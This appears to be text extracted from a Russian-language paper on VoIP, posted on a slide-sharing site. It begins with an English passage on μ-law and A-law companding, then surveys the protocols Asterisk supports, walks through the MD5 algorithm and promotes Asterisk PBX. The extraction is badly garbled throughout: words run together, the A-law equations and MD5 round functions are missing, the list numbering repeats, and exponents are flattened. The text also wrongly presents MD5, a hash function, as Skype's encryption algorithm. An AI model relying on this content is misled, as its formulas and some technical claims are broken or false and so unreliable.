precision of the detail is compromised anyway, and assuming that the signal is to be perceived as
audio by a human, one can take advantage of the fact that perceived intensity (loudness) is
logarithmic[3] by compressing the signal using a logarithmic-response op-amp. In telco circuits,
most of the noise is injected on the lines, thus after the compressor, the intended signal will be
perceived as significantly louder than the static, compared to an un-compressed source. This
became a common telco solution, and thus, prior to common digital usage, the μ-law
specification was developed to define an inter-compatible standard.
As the digital age dawned, it was noted that this pre-existing algorithm had the effect of
significantly reducing the number of bits needed to encode recognizable human voice. Using μ-
law, a sample could be effectively encoded in as few as 8 bits, a sample size that conveniently
matched the symbol size of most standard computers.
μ-law encoding effectively reduced the dynamic range of the signal, thereby increasing the
coding efficiency while biasing the signal in a way that results in a signal-to-distortion ratio that
is greater than that obtained by linear encoding for a given number of bits. This is an early form
of perceptual audio encoding.
The μ-law algorithm is also used in the .au format, which dates back at least to the
SPARCstation 1 as the native method used by Sun's /dev/audio interface, widely used as a de
facto standard for Unix sound. The .au format is also used in various common audio APIs such
as the classes in the sun.audio Java package in Java 1.1 and in some C# methods.
This plot illustrates how μ-law concentrates sampling in the smaller (softer) values. The values
of a μ-law byte 0-255 are the horizontal axis, the vertical axis is the 16 bit linear decoded value.
This image was generated with the Sun Microsystems c routine g711.c commonly available on
the Internet.
Comparison with A-law
The µ-law algorithm provides a slightly larger dynamic range than the A-law at the cost of worse
proportional distortion for small signals. By convention, A-law is used for an international
connection if at least one country uses it.
A-law algorithm
Graph of μ-law& A-lawalgorithms
An A-law algorithm is a standard companding algorithm, used in European digital
communications systems to optimize, i.e., modify, the dynamic range of an analog signal for
digitizing.
It is similar to the μ-law algorithm used in North America and Japan.
For a given input x, the equation for A-law encoding is as follows,
where A is the compression parameter. In Europe, A = 87.7; the value 87.6 is also used.
A-law expansion is given by the inverse function,
The reason for this encoding is that the wide dynamic range of speech does not lend itself well to
efficient linear digital encoding. A-law encoding effectively reduces the dynamic range of the
signal, thereby increasing the coding efficiency and resulting in a signal-to-distortion ratio that is
superior to that obtained by linear encoding for a given number of bits.
Поддерживаются следующие протоколы:
1. SIP,
2. H.323,
3. IAX2,
4. MGCP,
5. Skinny/SCCP,
6. XMPP (Google Talk),
7. UNIStim,
8. Skype черезкоммерческийканал[5]
.
1. SIP (англ. Session Initiation Protocol — протокол установления сеанса) — протокол
передачи данных, который описывает способ установления и завершения
пользовательского интернет-сеанса, включающего обмен мультимедийным содержимым
(видео- и аудиоконференция, мгновенные сообщения, онлайн-игры).
В модели взаимодействия открытых систем SIP является сетевым протоколом
прикладного уровня.
Протокол описывает, каким образом клиентское приложение (например, софтфон) может
запросить начало соединения у другого, возможно, физически удалённого клиента,
находящегося в той же сети, используя его уникальное имя. Протокол определяет способ
согласования между клиентами об открытии каналов обмена на основе других
протоколов, которые могут использоваться для непосредственной передачи информации
(например, RTP). Допускается добавление или удаление таких каналов в течение
установленного сеанса, а также подключение и отключение дополнительных клиентов (то
есть допускается участие в обмене более двух сторон — конференц-связь). Протокол
также определяет порядок завершения сеанса.
2. РекомендацииITU-T,входящие в стандарт H.323, определяютпорядокфункционирования
абонентских терминаловвсетях с разделяемымресурсом,не гарантирующихкачества
обслуживания(QoS).СтандартH.323 не связан с протоколомIP,однако,большинство
реализацийоснованона этом протоколе.Наборрекомендацийопределяетсетевые
компоненты,протоколыипроцедуры, позволяющие организоватьмультимедиасвязьв
пакетных сетях.СтандартH.323 определяетчетыре основныхкомпонента,которые вместе
с сетевойструктуройпозволяютпроводитьдвусторонние (точка-точка)имногосторонние
(точка— многоточек) мультимедиаконференции.
3. IAX2 — Inter-Asterisk eXchange protocol— протокол обменаVoIP даннымимежду IP-PBX
Asterisk.Наиболееприспособленктрансляциисетевых адресов NAT,вотличие от SIP и
H.323 используеттолькоодинпорт4569 протокола UDP для сигнализациии медиапотока,
тогда как последние используютдляэтих целейразные порты.Данныйпротокол
позволяетсущественноэкономитьсетевойтрафикпосравнениюс протоколом SIP,что
объясняетсяпередачейсигнальнойинформациив битовых полях,ане текстом.Так же
протокол позволяетсовмещатьмножествоголосовыхпотоковипередаватьих внутри
единоготранка,уменьшаянакладные расходы,связанные с передачейзаголовковIP
пакетов.

История
IAX2 — (Inter-Asterisk eXchange protocol – вторая версия) протокол разработанный
компанией Digium, специально для Asterisk, как альтернативный протокол. Группа
разработчиков в составе: Марк Спенсер, Фрэнк Миллер, Кенни Шумард, Эд Гай и Брайан
Капоч подала заявку в IETF и 20-го февраля 2009 года протокол был утверждён под RFC
5456. Предпосылкой было желание обеспечить передачу голоса высокого качества в
«слабых» сетях. Так как при использовании протоколами SIP и H.323 двух портов для
передачи голоса и сигнализации, иногда возникали проблемы, когда во время длительного
разговора одного абонента и молчания другого, Firewall , в целях безопасности, закрывал
порт сигнализации, так как по нему не шли пакеты. В результате этого после того, как
молчавший абонент начинал говорить, сигнализация об этом не проходила через порт, и
респондент его не слышал. Для того что бы исключить данную проблему, IAX2
разработан так, что бы использовать один порт для передачи голоса и сигнализации. Так
же. В связи с тем, что IAX2 передает сигнальную информацию в битовых полях, а не
текстом, совмещение множества голосовых потоков и передача их внутри единого транка,
позволяет существенно снижать сетевой трафик.
Технические особенности
 полностьюбинарныйпротокол (вотличииотSIP) - экономиятрафика
 используетсяодинединственыйUDP-порт4569, что упрощаетконфигурациюFirewallи
улучшаетработучерезNAT
 поддерживаетсятранкинг,приэтомв каждом пакете передаютсяданные сразу
нескольких параллельных каналов- экономиятрафика
 экономнее чемSIPвтребованиях кполосе пропускания
 проще конфигурацияNATи Firewall
 меньше неочивидных проблем(приналичииFirewall невозможнаситуация,когда
соединение устанавливается,аголосовые данные пройтине могут,в отличииотSIP)
 IAX2 эффективнее RTP(SIP) длялюбогоколичестваодновременных соединений,ипри
использованиилюбогокодека.Экономияначиная от2.4k для единственноговызова,до
приблизительноутроенияколичестваодновременныхсоединений черезмегабитовый
потокдля G.729 при использованииtrunkmode.
4. MGCP или Media Gateway Control Protocol дословно — Протокол контроля
медиашлюзов. Является протоколом связи в распределённых VoIP системах
передачи голоса по протоколу IP.
MGCP описан в RFC 3435, который заменил устаревший к настоящему времени RFC
2705, заменивший, в свою очередь, Simple Gateway Control Protocol (SGCP).
Сходный протокол для тех же целей Megaco, совместная продукция IETF (RFC 3525) и
ITU (рекомендации H.248-1). Оба протокола описаны единым аппаратно-программным
интерфейсом (API) Архитектура и требования MGCP в RFC 2805.
Обзор протокола
Пакеты MGCP отличаются от многих других протоколов. Он резервирует обычно порт
UDP 2427, датаграммы MGCP могут содержать и пустые значения, совсем не так как
обычно строятся пакеты в протоколах TCP. Пакет MGCP является командой (запросом)
или ответом. Команды (запросы) начинаются с четырехбуквенного кода, ответы
начинаются с трехзначного цифрового кода.
4. XMPP (Extensible Messaging and Presence Protocol — расширяемый протокол обмена
сообщениями и информацией о присутствии), ранее известный как Jabber[1] ([ˈʤæbə(r)],
джа́ббер — «болтовня», «трёп», «тарабарщина», сленг. — жабер, жаббер, жабёр [2]) —
основанный на XML, открытый, свободный для использования протокол для мгновенного
обмена сообщениями и информацией о присутствии (см. список контактов) в режиме,
близком к режиму реального времени. Изначально спроектированный легко
расширяемым, протокол, помимо передачи текстовых сообщений, поддерживает передачу
голоса, видео и файлов по сети.
В отличие от коммерческих систем мгновенного обмена сообщениями, таких, как AIM,
ICQ, WLM и Yahoo, XMPP является децентрализованной, расширяемой и открытой
системой. Любой желающий может открыть свой сервер мгновенного обмена
сообщениями, регистрировать на нём пользователей и взаимодействовать с другими
серверами XMPP. На основе протокола XMPP уже открыто множество частных и
корпоративных серверов XMPP. Среди них есть достаточно крупные проекты, такие как
Facebook, Google Talk, В Контакте, Одноклассники.ru, Я.Онлайн, QIP, LiveJournal, Juick и
др.
5. SCCP — Skinny Client Control Protocol, корпоративный (проприетарный) протокол,
разработан Selsius Corporation, в настоящее время принадлежит Cisco Systems Inc.,
которая приобрела на него права с покупкой Selsius Corporation в 1998 году. В
качестве напоминания о Selsius во всех современных Cisco IP-телефонах дефолтное
название устройства для регистрации в CallManager начинается с SEP—это Selsius
Ethernet Phone—после которых следует MAC-адрес.
SCCP определяет набор сообщений между Skinny-клиентом для взаимодействия
проводных и беспроводных IP-телефонов Cisco 7900 серии, таких как Cisco 7960, 7940,
7920, с сервером голосовой почты Cisco Unity и Cisco CallManager. Последний
обеспечивает сигнализацию не только SCCP но и большинству VoIP протоколов — H.323,
SIP, и MGCP.
Кроме стандартных сигнальных функций управлением вызовов, обеспечиваемых Skinny,
потребовались дополнительные расширенные опции, такие как: перевод звонка
(трансфер), перехват звонка (пикап), конференции, и сообщения голосовой почты. Все эти
опции были невозможны при использовании чистого Skinny протокола, что и послужило
причиной создания SCCP, поэтому его называют иногда расширенным Skinny.
Skinny использует TCP/IP как транспортный протокол для сигнализации вызовов и
контроля соединения, и RTP/UDP/IP в качестве медиа — real time audio.
SCCP поддерживается некоторыми сторонними производителями оборудования и
программного обеспечения, например — Symbol Technologies, IPBlue и SocketIP.
Skinny/SCCP используется также в платформах с открытым кодом — Asterisk IP-PBX.
6. Unistim — закрытый протокол передачи сигнальной информации компании Nortel.
UNIStim протокол прикладного уровня и базируется на RUDP протоколе также
разработанный Nortel. Отличие RUDP от UDP наличие номера пакета и механизма
повторной передачи с случает потеря пакета с помощью rudp пакетов включающий ACK с
указанием номера полученного UNIStim пакета и NAK с указанием номера
потерянногопропущенного UNIStim пакета. Протокол обеспечивает управление сервером
тонких клиентов для VoIP. Сервер (CS1000) управляет, получает информацию о
состоянии клиентов, обменивается данными с другими участниками поддерживающими
протокол. Все команды поделены на несколько секций по функциональному назначению.
Каждое сообщение включает 3 основныхполя как то: менеджер получатель команды,
длина всей команды, код команды для данного менеджера. Остальная часть сообщения
зависит от типа команды.
Клиент получив сообщение от сервера выполняет запрос. В зависимости от команды
клиент должен сообщить о состоянии выполненной команды. Также клиент может
сообщать о своем состоянии по запросу или установленному временному промежутку.
Сервер полностью управляет состоянием клиента и состоянием звонка. Задача сервера
при выполнении звонка осуществить настройку 2 клиентов для открытия RTP трафика.
RTP трафик клиент осуществляет самостоятельно используя различные аудио кодеки.
На текущий момент последняя версия протокола который поддерживает продукты
компании Nortel — UNIStim 3.0 Детали реализации протокола доступны в документе под
названием «Telephony and Data Network Services at a Telephone», патент № 7068641 от 7-го
мая 1999 года[1].
7. Skype (произносится «скайп») — бесплатное проприетарное программное
обеспечение с закрытым кодом, обеспечивающее шифрованную голосовую связь и
видеосвязь через Интернет между компьютерами (VoIP), а также платные услуги
для звонков на мобильные и стационарные телефоны.
Используемый алгоритм шифрования
MD5 (англ. Message Digest 5) — 128-битный алгоритм хеширования, разработанный
профессором Рональдом Л. Ривестом из Массачусетского технологического института
(Massachusetts Institute of Technology, MIT) в 1991 году. Предназначен для создания
«отпечатков» или «дайджестов» сообщений произвольной длины и последующей
проверки их подлинности.
В 1993 году Берт ден Боер (Bert den Boer) и Антон Босселарис (Antoon Bosselaers)
показали, что в алгоритме возможны псевдоколлизии, когда разным инициализирующим
векторам соответствуют одинаковые дайджесты для входного сообщения.
В 1996 году Ганс Доббертин (Hans Dobbertin) объявил о коллизии в алгоритме и уже в то
время было предложено использовать другие алгоритмы хеширования, такие как
Whirlpool, SHA-1 или RIPEMD-160.
Из-за небольшого размера хеша в 128 бит, можно рассматривать birthday атаки в день
рождения. В марте 2004 года был запущен проект MD5CRK с целью обнаружения
уязвимостей алгоритма, используя birthday атаки в день рождения. Проект MD5CRK
закончился 17 августа 2004 года, когда Ван Сяоюнь (Wang Xiaoyun), Фен Дэнгуо (Feng
Dengguo), Лай Сюэцзя (Lai Xuejia) и Юй Хунбо (Yu Hongbo) обнаружили уязвимости в
алгоритме.
Алгоритм MD5
СхемаработыалгоритмаMD5
На вход алгоритма поступает входной поток данных, хеш которого необходимо найти.
Длина сообщения может быть любой (в том числе нулевой). Запишем длину сообщения в
L. Это число целое и неотрицательное. Кратность каким-либо числам необязательна.
После поступления данных идёт процесс подготовки потока к вычислениям.
Ниже приведены 5 шагов алгоритма:
Шаг 1. Выравнивание потока
Сначала дописывают единичный бит в конец потока(байт 0x80), затем необходимое число
нулевых бит. Входные данные выравниваются так, чтобы их новый размер L' был сравним
с 448 по модулю 512 (L’ = 512 × N + 448). Выравнивание происходит, даже если длина
уже сравнима с 448.
Шаг 2. Добавление длины сообщения
В оставшиеся 64 бита дописывают 64-битное представление длины данных(количество
бит в сообщении) до выравнивания. Сначала записывают младшие 4 байта. Если длина
превосходит 264 − 1, то дописывают только младшие биты. После этого длина потока
станет кратной 512. Вычисления будут основываться на представлении этого потока
данных в виде массива слов по 512 бит.
Шаг 3. Инициализация буфера
Для вычислений инициализируются 4 переменных размером по 32 бита и задаются
начальные значения шестнадцатеричными числами (шестнадцатеричное представление,
сначала младший байт):
А = 01 23 45 67;
В = 89 AB CD EF;
С = FE DC BA 98;
D = 76 54 32 10.
В этих переменных будут храниться результаты промежуточных вычислений. Начальное
состояние ABCD называется инициализирующим вектором.
Определим ещё функции и константы, которые нам понадобятся для вычислений.
 Потребуются4 функциидля четырёх раундов.Введёмфункцииоттрёх параметров — слов,
результатомтакже будетслово.
1 раунд .
______________________________________________________
2 раунд .
_________________________________________________________
3 раунд .
________________________________________________
4 раунд .
___________________________________________________
 ОпределимтаблицуконстантT[1..64] — 64-элементнаятаблицаданных,построенная
следующимобразом:T[i] = int(4294967296 * | sin(i) | ), где 4294967296 = 232
.[3]
 Выровненные данные разбиваютсянаблоки (слова) по32 бита, и каждый блокпроходит4
раунда из 16 операторов.Все операторыоднотипныиимеютвид:[abcd k s i],
определяемыйкак a = b + ((a + Fun(b,c,d)+X[k] + T[i]) < < < s), где X — блокданных.X[k] = M
[n * 16 + k],где k — номер32-битногослова из n-го 512-битногоблока сообщения,иs —
циклическийсдвиг влевона s бит полученого32-битногоаргумента.
Шаг 4. Вычисление в цикле
Заносим в блок данных элемент n из массива. Сохраняются значения A, B, C и D,
оставшиеся после операций над предыдущими блоками (или их начальные значения, если
блок первый).
AA = A
BB = B
CC = C
DD = D
После окончания цикла необходимо проверить, есть ли ещё блоки для вычислений. Если
да, то изменяем номер элемента массива (n++) и переходим в начало цикла.
Шаг 5. Результат вычислений
Результат вычислений находится в буфере ABCD, это и есть хеш. Если выводить
побайтово начиная с младшего байта A и закончив старшим байтом D, то мы получим
MD5 хеш.
Примеры использования
MD5 позволяет получать относительно надёжный идентификатор для блока данных.
Такое свойство алгоритма широко применяется в разных областях. Оно позволяет искать
дублирующиеся файлы на компьютере, сравнивая MD5 файлов, а не их содержимое. Как
пример, dupliFinder — графическая программа под Windows и Linux. Такой же поиск
может работать и в интернете.
С помощью MD5 проверяют целостность скачанных файлов — так, некоторые программы
идут вместе со значением хеша. Например, диски для инсталляции.
MD5 используется для хеширования паролей. В системе UNIX каждый пользователь
имеет свой пароль и его знает только пользователь. Для защиты паролей используется
хеширование. Предполагалось, что получить настоящий пароль можно только полным
перебором. При появлении UNIX единственным способом хеширования был DES (Data
Encryption Standard), но им могли пользоваться только жители США, потому что
исходные коды DES нельзя было вывозить из страны. Во FreeBSD решили эту проблему.
Пользователи США могли использовать библиотеку DES, а остальные пользователи
имеют метод, разрешённый для экспорта. Поэтому в FreeBSD стали использовать MD5 по
умолчанию.[11]. Некоторые Linux-системы также используют MD5 для хранения паролей.
Используемая мини – АТС
Asterisk- этополноценная программная АТС. Она можетработатьна таких операционных
системах,как Linux(ОС)?,Free BSD(OC)?,Windows(OC)?иOSX(OC)?и предоставляетВамвсе
возможности,которые естьу обычноймини АТСи даже больше.Функционирование
Asteriskоснованонапротоколах,которыеобеспечиваютпередачуголосачерезсети
основанных на IP протоколе (VOIP) и,благодаряэтому,даннаяАТС можетработать
практическис любымоборудованиемдляIP-телефонии,которые используютстандартные
протоколыдляVOIP,приэтомиспользуяотносительнонедорогое аппаратное
обеспечение.
Asteriskпредоставляетфункцииголосовойпочты(Voicemail),конференций,
интерактивногоголосовогоменю(IVR),центраобработкивызововиих обработки(Call
Queuing). Онтакже имеетподдержкутаких сервисов,какпереводвызововдругому
абоненту,сервисопределенияипередачивызываемомуабонентуномеравызывающего
абонента(callerID),протоколыADSI?,SIP,H.323(как в режиме терминала,таки в режиме
гейтования), MGCP (толькодля call manager) и SCCP?/Skinny(не полностью).Вразделе
Возможности Вы можете найтиболее полныйсписокфункций,которые можетвыполнять
Asterisk.
Asterisk не нуждаетсяв дополнительном аппаратном обеспечениидляреализации
передачиголоса через IP сети(VOIP).Можно использоватьединственного(или
нескольких) провайдеровVOIPдлявходящих и/иливызовов(входящие и исходящие
вызовы могутобрабатыватьсяразличнымипровайдерамиИнтернети/илиобычной
телефонии)
Дляобеспечениякоммуникациймеждуцифровымианалоговымтелефонным
оборудованием,Asteriskимеетподдержкунекоторых аппаратных устройств,которые
можно обозначить,какоборудование,производимое спонсоромпроектаAsterisk -
Digium?.Digiumпроизводитодинарные исчетверенные T1и E1 интерфейсные платыдля
коммуникацийс каналами PRI и channel banks.Вдополнение,производятсяинтерфейсы,
от одногодо четырех портовнаплату,длякоммуникациис аналоговымителефонными
линиямиFXO и FXS, которые популярныприпостроениинебольшойАТС.Интерфейсные
устройствадругих производителеймогутбытьиспользованыдляорганизации каналов BRI
(ISDN2) с четырьмяи восемьюпортами BRI еслиони совместимые с CAPIилиоснованы на
чипсете HFC.
Главным преимуществом таких станций является гибкость настроек, функциональность,
устойчивость и надёжность в работе, а так же простота в использовании. Станции на базе
ASTERISK IP PBX могут быть использованы фактически в любых целях – офисные АТС,
гостиничные АТС, Call-центры, многоуровневые голосовые меню (IVR), станции для
предоставления услуг связи конечным пользователям. Благодаря использованию
внутреннего номерного пространства и простоте подключения к традиционным услугам
связи, станции на базе Asterisk используются как расширители номерного ресурса даже
при наличии всего одной или нескольких внешних телефонных линий.
Телефонизация офиса или предприятия:
Станция включает в себя такие прогрессивные сервисы как голосовая почта,
интерактивные голосовые меню, переадресация вызовов, постановка вызовов в список
ожидания. Используя станцию ASTERISK IP PBX предприятие сможет телефонизировать
всех своих работников. Возможно удалённое подключение работника к станции через
интернет-канал – даже находясь дома или в командировке, Вы сможете принимать и
осуществлять звонки как будто находясь на рабочем месте. Станция ASTERISK позволяет
организовать факс на каждом рабочем месте без использования факс-аппарата – при этом
все входящие факсимильные сообщения будут отправляться на адрес электронной почты
сотрудника. Благодаря интерактивному голосовому меню Вы сможете избавить секретаря
от необходимости отвечать на все входящие звонки и вручную выполнять переадресацию
вызовов – звонящий сам сможет выбрать сотрудника или отдел, с которым хотел бы
общаться. Благодаря возможности подключения станции ASTERISK к GSM каналу, Вы
сможете объединить городские и мобильные линии таким образом, что расходы на
мобильную связь минимизируются до незначительных сумм. Станция без
дополнительных затрат подключается к провайдерам VOIP-связи, что позволяет
значительно удешевить международные и междугородние переговоры. Благодаря
использованию технологий DID (Direct Invard Numbers), использующий данную станцию
сможет подключить к ней входящий телефонный номер фактически любого государства и
при этом не будет платить за входящие переговоры из-за границы ни звонящий абонент,
ни абонент, принимающий звонок. Вы сможете предоставить вашим партнёрам и
клиентам за рубежом возможность звонить Вам используя локальный телефонный номер
его города.
Объединение удалённых офисов:
ASTERISK IP PBX позволяет объединить удалённые офисы вашей фирмы в единый
ресурс посредством использования интернет-канала или выделенного корпоративного
канала. Сотрудники фирмы, находящиеся в разных городах и даже странах, смогут
общаться между собой без использования услуг междугородней или международной связи
телефонных провайдеров, а так же переадресовывать звонящих абонентов в удалённые
офисы. Это сведёт к нулю стоимость переговоров между филиалами вашей фирмы.
Гостиничная АТС на базе ASTERISK IP PBX:
Используя современные средства тарификации звонков, ASTERISK легко используется
для предоставления связи клиентам гостиниц и пансионатов. Гибкая система направления
звонков в различные каналы связи позволяет гостинице максимально удешевить связь.
Благодаря использованию внутреннего номерного ресурса, каждому абоненту может быть
присвоен отдельный номер. Администрация гостиницы сможет гибко регулировать
объёмы исходящих звонков для каждого абонента, а так же получать распечатки звонков и
выполнять тарификацию и выписку счетов одним нажатием мыши на экране компьютера
администратора гостиницы.
Call-центры и платные услуги IP-телефонии:
Используя систему биллинга, ASTERISK превращается в очень удобную платформу для
предоставления платных услуг IP-телефонии. Возможны комплексные решения по
оригинации и терминации вызовов. Система может вести тарификацию по принципу
предоплаты и постоплаты. Система готова для предоставления услуг карточной
телефонии. ASTERISK легко подключается к удалённым провайдерам VOIP услуг по трём
протоколам: IAX, SIP, H.323. Возможна перекодировка всего голосового трафика для
уменьшения расходов на транспорт голосовых потоков.
Другие решения на базе ASTERISK IP PBX:
Благодаря функциональности и гибкости, ASTERISK может использоваться фактически
для любых целей – интерактивные голосовые меню, службы заказа услуг, службы оплаты
услуг, службы вызова такси, службы знакомств и т.д.

Más contenido relacionado

La actualidad más candente

Развитие решений безопасности Juniper
Развитие решений безопасности JuniperРазвитие решений безопасности Juniper
Развитие решений безопасности Juniper
Sergii Liventsev
 
LinkMeUp-V12 (02.2014)
LinkMeUp-V12 (02.2014)LinkMeUp-V12 (02.2014)
LinkMeUp-V12 (02.2014)
eucariot
 
СИСТЕМА СКРЫТОЙ ПЕРЕДАЧИ ИНФОРМАЦИИ В КАНАЛАХ ЦИФРОВОЙ ТЕЛЕФОННОЙ СВЯЗИ VOIP
СИСТЕМА СКРЫТОЙ ПЕРЕДАЧИ ИНФОРМАЦИИ В КАНАЛАХ ЦИФРОВОЙ ТЕЛЕФОННОЙ СВЯЗИ VOIPСИСТЕМА СКРЫТОЙ ПЕРЕДАЧИ ИНФОРМАЦИИ В КАНАЛАХ ЦИФРОВОЙ ТЕЛЕФОННОЙ СВЯЗИ VOIP
СИСТЕМА СКРЫТОЙ ПЕРЕДАЧИ ИНФОРМАЦИИ В КАНАЛАХ ЦИФРОВОЙ ТЕЛЕФОННОЙ СВЯЗИ VOIP
Peter Kostyaev
 
принципы защиты информации от сетевых атак и шпионажа
принципы защиты информации от сетевых атак и шпионажапринципы защиты информации от сетевых атак и шпионажа
принципы защиты информации от сетевых атак и шпионажа
Kolesntein_Iogan
 
принципы защиты информации от сетевых атак и шпионажа
принципы защиты информации от сетевых атак и шпионажапринципы защиты информации от сетевых атак и шпионажа
принципы защиты информации от сетевых атак и шпионажа
Kolesntein_Iogan
 
Как превратить свою сеть в систему информационной безопасности
Как превратить свою сеть в систему информационной безопасности Как превратить свою сеть в систему информационной безопасности
Как превратить свою сеть в систему информационной безопасности
Cisco Russia
 
Cisco crypto FAQ 2013
Cisco crypto FAQ 2013Cisco crypto FAQ 2013
Cisco crypto FAQ 2013
Cisco Russia
 

La actualidad más candente (20)

Оборудование для VoIP компании Yeastar
Оборудование для VoIP компании YeastarОборудование для VoIP компании Yeastar
Оборудование для VoIP компании Yeastar
 
Программные модули IP-АТС Yeastar MyPBX
Программные модули IP-АТС Yeastar MyPBXПрограммные модули IP-АТС Yeastar MyPBX
Программные модули IP-АТС Yeastar MyPBX
 
Positive Hack Days. Гурзов. Легенды и мифы безопасности VOIP
Positive Hack Days. Гурзов. Легенды и мифы безопасности VOIPPositive Hack Days. Гурзов. Легенды и мифы безопасности VOIP
Positive Hack Days. Гурзов. Легенды и мифы безопасности VOIP
 
Развитие решений безопасности Juniper
Развитие решений безопасности JuniperРазвитие решений безопасности Juniper
Развитие решений безопасности Juniper
 
7 способов «провалиться» в качестве Wi-Fi эксперта
7 способов «провалиться» в качестве Wi-Fi эксперта7 способов «провалиться» в качестве Wi-Fi эксперта
7 способов «провалиться» в качестве Wi-Fi эксперта
 
LinkMeUp-V12 (02.2014)
LinkMeUp-V12 (02.2014)LinkMeUp-V12 (02.2014)
LinkMeUp-V12 (02.2014)
 
Общие настройки АТС Yeastar серии S
Общие настройки АТС Yeastar серии SОбщие настройки АТС Yeastar серии S
Общие настройки АТС Yeastar серии S
 
СИСТЕМА СКРЫТОЙ ПЕРЕДАЧИ ИНФОРМАЦИИ В КАНАЛАХ ЦИФРОВОЙ ТЕЛЕФОННОЙ СВЯЗИ VOIP
СИСТЕМА СКРЫТОЙ ПЕРЕДАЧИ ИНФОРМАЦИИ В КАНАЛАХ ЦИФРОВОЙ ТЕЛЕФОННОЙ СВЯЗИ VOIPСИСТЕМА СКРЫТОЙ ПЕРЕДАЧИ ИНФОРМАЦИИ В КАНАЛАХ ЦИФРОВОЙ ТЕЛЕФОННОЙ СВЯЗИ VOIP
СИСТЕМА СКРЫТОЙ ПЕРЕДАЧИ ИНФОРМАЦИИ В КАНАЛАХ ЦИФРОВОЙ ТЕЛЕФОННОЙ СВЯЗИ VOIP
 
Fortinet. Юрий Захаров. "Проблемы защиты корпоративного периметра"
Fortinet. Юрий Захаров. "Проблемы защиты корпоративного периметра"Fortinet. Юрий Захаров. "Проблемы защиты корпоративного периметра"
Fortinet. Юрий Захаров. "Проблемы защиты корпоративного периметра"
 
принципы защиты информации от сетевых атак и шпионажа
принципы защиты информации от сетевых атак и шпионажапринципы защиты информации от сетевых атак и шпионажа
принципы защиты информации от сетевых атак и шпионажа
 
принципы защиты информации от сетевых атак и шпионажа
принципы защиты информации от сетевых атак и шпионажапринципы защиты информации от сетевых атак и шпионажа
принципы защиты информации от сетевых атак и шпионажа
 
Wi fi
Wi fiWi fi
Wi fi
 
01 Sachkov
01 Sachkov01 Sachkov
01 Sachkov
 
Сеть как средство защиты и реагирования на угрозы
Сеть как средство защиты и реагирования на угрозыСеть как средство защиты и реагирования на угрозы
Сеть как средство защиты и реагирования на угрозы
 
Как превратить свою сеть в систему информационной безопасности
Как превратить свою сеть в систему информационной безопасности Как превратить свою сеть в систему информационной безопасности
Как превратить свою сеть в систему информационной безопасности
 
Анализ рынка средств и сервисов защиты от DDoS-атак
Анализ рынка средств и сервисов защиты от DDoS-атакАнализ рынка средств и сервисов защиты от DDoS-атак
Анализ рынка средств и сервисов защиты от DDoS-атак
 
Cisco crypto FAQ 2013
Cisco crypto FAQ 2013Cisco crypto FAQ 2013
Cisco crypto FAQ 2013
 
RFID in logistic
RFID in logisticRFID in logistic
RFID in logistic
 
Начало работы с АТС Yeastar серии S
Начало работы с АТС Yeastar серии SНачало работы с АТС Yeastar серии S
Начало работы с АТС Yeastar серии S
 
Анатомия DDoS-атак, или Как предупредить и обезвредить нападения злоумышленников
Анатомия DDoS-атак, или Как предупредить и обезвредить нападения злоумышленниковАнатомия DDoS-атак, или Как предупредить и обезвредить нападения злоумышленников
Анатомия DDoS-атак, или Как предупредить и обезвредить нападения злоумышленников
 

Similar a Dissertaziya

Вопросы информационной безопасности при противодействии мошенничеству на сетя...
Вопросы информационной безопасности при противодействии мошенничеству на сетя...Вопросы информационной безопасности при противодействии мошенничеству на сетя...
Вопросы информационной безопасности при противодействии мошенничеству на сетя...
Positive Hack Days
 
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
Dmitry Evteev
 

Similar a Dissertaziya (20)

Защита и контроль приложений
Защита и контроль приложенийЗащита и контроль приложений
Защита и контроль приложений
 
Защита корпорации на платформе Palo Alto Networks
Защита корпорации на платформе Palo Alto Networks Защита корпорации на платформе Palo Alto Networks
Защита корпорации на платформе Palo Alto Networks
 
Вопросы информационной безопасности при противодействии мошенничеству на сетя...
Вопросы информационной безопасности при противодействии мошенничеству на сетя...Вопросы информационной безопасности при противодействии мошенничеству на сетя...
Вопросы информационной безопасности при противодействии мошенничеству на сетя...
 
Какие вопросы чаще всего задают вендору при выборе решения по информационной ...
Какие вопросы чаще всего задают вендору при выборе решения по информационной ...Какие вопросы чаще всего задают вендору при выборе решения по информационной ...
Какие вопросы чаще всего задают вендору при выборе решения по информационной ...
 
Как взломать телеком и остаться в живых
Как взломать телеком и остаться в живыхКак взломать телеком и остаться в живых
Как взломать телеком и остаться в живых
 
Визуализация взломов в собственной сети
Визуализация взломов в собственной сетиВизуализация взломов в собственной сети
Визуализация взломов в собственной сети
 
Ростелеком. Ольга Макарова. "Информацинная безопасность в современных реалиях...
Ростелеком. Ольга Макарова. "Информацинная безопасность в современных реалиях...Ростелеком. Ольга Макарова. "Информацинная безопасность в современных реалиях...
Ростелеком. Ольга Макарова. "Информацинная безопасность в современных реалиях...
 
LinkMeUp-V4 (06.2013)
LinkMeUp-V4 (06.2013)LinkMeUp-V4 (06.2013)
LinkMeUp-V4 (06.2013)
 
Визуализация взломов в собственной сети PAN
Визуализация взломов в собственной сети PANВизуализация взломов в собственной сети PAN
Визуализация взломов в собственной сети PAN
 
ВЕБИНАР: ЛУЧШИЕ ПРАКТИКИ И РЕКОМЕНДАЦИИ ПО ПРОТИВОДЕЙСТВИЮ ЦЕЛЕВЫМ КИБЕРАТАКА...
ВЕБИНАР: ЛУЧШИЕ ПРАКТИКИ И РЕКОМЕНДАЦИИ ПО ПРОТИВОДЕЙСТВИЮ ЦЕЛЕВЫМ КИБЕРАТАКА...ВЕБИНАР: ЛУЧШИЕ ПРАКТИКИ И РЕКОМЕНДАЦИИ ПО ПРОТИВОДЕЙСТВИЮ ЦЕЛЕВЫМ КИБЕРАТАКА...
ВЕБИНАР: ЛУЧШИЕ ПРАКТИКИ И РЕКОМЕНДАЦИИ ПО ПРОТИВОДЕЙСТВИЮ ЦЕЛЕВЫМ КИБЕРАТАКА...
 
Мегафон - Решения для Бизнеса
Мегафон - Решения для БизнесаМегафон - Решения для Бизнеса
Мегафон - Решения для Бизнеса
 
17 способов проникновения во внутреннюю сеть компании
17 способов проникновения во внутреннюю сеть компании17 способов проникновения во внутреннюю сеть компании
17 способов проникновения во внутреннюю сеть компании
 
Смотрим в HTTPS
Смотрим в HTTPSСмотрим в HTTPS
Смотрим в HTTPS
 
Анатомия внешней атаки
Анатомия внешней атакиАнатомия внешней атаки
Анатомия внешней атаки
 
